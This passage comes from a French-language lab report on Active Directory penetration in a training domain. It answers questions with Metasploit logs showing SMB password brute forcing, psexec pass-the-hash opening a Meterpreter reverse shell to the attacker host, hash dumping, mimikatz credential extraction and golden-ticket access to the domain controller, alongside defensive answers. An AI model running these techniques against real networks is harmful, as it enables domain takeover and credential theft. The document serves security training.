[*] Scanned 3 of 4 hosts (75% complete)
[*] 10.13.37.11:445 - 10.13.37.11:445 - Starting SMB login bruteforce
[+] 10.13.37.11:445 - 10.13.37.11:445 - Success: 'wad.local\svc_sql:Password1' Administrator
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) >
```

Q 23: Quels sont les privilèges requis pour l'utilisation de psexec ?

Administrator privileges

Q 24: Quelle vulnérabilité exploitez-vous pour rebondir sur le second serveur ?

PSexec avec Pass The Hash

Q 25: Comment avez-vous pu récupérer un compte du domaine sur le second serveur ?

Car quelqu'un s'était déjà loggé avec le compte administrator du domaine.

```

LHOST => 10.13.37.32
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.13.37.32:4444
[*] 10.13.37.12:445 - Connecting to the server...
[*] 10.13.37.12:445 - Authenticating to 10.13.37.12:445 as user 'Administrator'...
[*] 10.13.37.12:445 - Selecting PowerShell target
[*] 10.13.37.12:445 - Executing the payload...
[+] 10.13.37.12:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.13.37.12
[*] Meterpreter session 7 opened (10.13.37.32:4444 -> 10.13.37.12:50208) at 2020-03-09 15:35:35 +0100

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e71b731abd9633b426042fa274e4f3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***

Success.
meterpreter > creds all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
=====

Username          Domain    NTLM                                SHA1                                DPAP
-----
Administrator     WAD       3b7dc65cdb8cbca43bbcc513fdd03510  afec07af16dfd6a7346544f04f454a7a4821dbf8  e67d
a2b8b5053e26818e7f69d332fd70
WAD-WEB01$        WAD       ab9ef348b9375a717f22ea680ec34eb7  e928516d450f9b3b4b0ec3f0cc9838f314a4e4ea

wdigest credentials
=====

Username          Domain    Password
-----
Administrator     WAD       (null)
WAD-WEB01$        WAD       (null)

kerberos credentials
=====

Username          Domain    Password
-----
Administrator     wad.local Pz@h9AXY$#5^#pS@iN^w)0b2$;Mv?z(12AEQ_ng=qMw0RdHG"Y%%Re@tFW>eYng_9y3QbV*bZS72"

```

Q 26: Quelles sont les actions qui justifient l'utilisation d'un compte « Domain Admins » ?

Installation d'un logiciel, accès à des fichiers critiques, en cas de modification "permanente" de la machine

Q 27: Comment éviter qu'un de ces comptes puissent être volés ?

Changer régulièrement de mot de passe, avoir des mot de passe forts et n'utiliser les comptes admins du domaine que si cela est strictement nécessaire

Q 28: Pourquoi migrer dans un processus appartenant à l'utilisateur student3 ?

Nous migrons un processus afin de le dissimuler, changer l'architecture sur laquelle est exécutée ce processus afin d'utiliser certains exploits ou afin d'avoir une meilleure stabilité du processus.

Q 29: Qu'est-ce qui se passe quand vous essayez de monter le partage la première fois ? Qu'est-ce qui se passe la seconde fois ? Comment expliquer cette différence ?

```
C:\Windows>net use x: \\wad-dc01.wad.local\c$
net use x: \\wad-dc01.wad.local\c$
The password is invalid for \\wad-dc01.wad.local\c$.

Enter the user name for 'wad-dc01.wad.local': System error 1223 has occurred.

The operation was canceled by the user.
```

L'accès nous est refusé car nous ne possédons pas les privilèges nécessaires pour faire l'opération.

```
(C) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net use x: \\wad-dc01.wad.local\c$
net use x: \\wad-dc01.wad.local\c$
The command completed successfully.

C:\Windows\system32>
```

Nous avons fait usage du Golden ticket et donc nous avons maintenant les droits nécessaires pour effectuer cette opération.

Q 30: Localiser l'événement d'authentification généré avec le Golden Ticket dans les logs du DC

```
C:\Windows\system32>exit
exit
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell shell
PS > Get-EventLog -LogName Security -ComputerName WAD-DC01 -Newest 30 | Where-Object {$_.EventID -eq 4624} | Select-Object -Property TimeGenerated,EventID,@{Label="Username";Expression={$_.replacementstrings[5]}}

TimeGenerated      EventID Username
-----
3/9/2020 8:16:10 PM 4624 WAD-DC01$3
```

Q 31: Combien de temps est valable le golden ticket que vous avez généré ?

Indéfiniment car le contrôleur de domaine ne garde pas de trace des TGT émis. De ce fait s'il arrive à déchiffrer le TGT, c'est bon pour le contrôleur. 2

Q 32: Qu'est ce que l'administrateur du domaine doit faire s'il détecte qu'un attaquant a compromis le hash du compte **krbtgt** ?

Si l'administrateur venait à se rendre compte de ce problème, il devrait régénérer le **krbtgt** afin d'invalider celui utilisé pour le golden ticket.